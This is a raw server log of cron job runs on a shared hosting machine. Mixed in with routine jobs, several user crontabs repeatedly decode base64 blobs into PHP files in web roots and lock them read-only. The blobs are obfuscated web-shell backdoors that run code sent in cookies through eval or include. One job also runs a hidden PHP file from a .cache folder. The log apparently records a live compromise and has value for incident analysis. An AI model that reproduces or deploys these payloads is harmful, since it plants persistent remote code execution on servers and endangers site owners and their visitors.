Mar  1 08:32:02 medusa CROND[5065]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:32:02 medusa CROND[5066]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:32:02 medusa CROND[5067]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:32:02 medusa CROND[5070]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:33:02 medusa CROND[26385]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:33:02 medusa CROND[26387]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:33:02 medusa CROND[26388]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:33:02 medusa CROND[26389]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:33:02 medusa CROND[26386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:33:02 medusa CROND[26390]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:33:02 medusa CROND[26391]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:33:02 medusa CROND[26392]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:33:02 medusa CROND[26394]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:33:02 medusa CROND[26396]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 08:33:02 medusa CROND[26395]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:33:02 medusa CROND[26408]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:34:01 medusa CROND[15481]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:34:01 medusa CROND[15482]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:34:01 medusa CROND[15483]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:34:01 medusa CROND[15484]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:34:01 medusa CROND[15485]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 08:34:01 medusa CROND[15486]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:34:01 medusa CROND[15490]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 08:34:01 medusa CROND[15489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:34:01 medusa CROND[15492]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:34:01 medusa CROND[15493]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:34:01 medusa CROND[15494]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:34:01 medusa CROND[15495]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
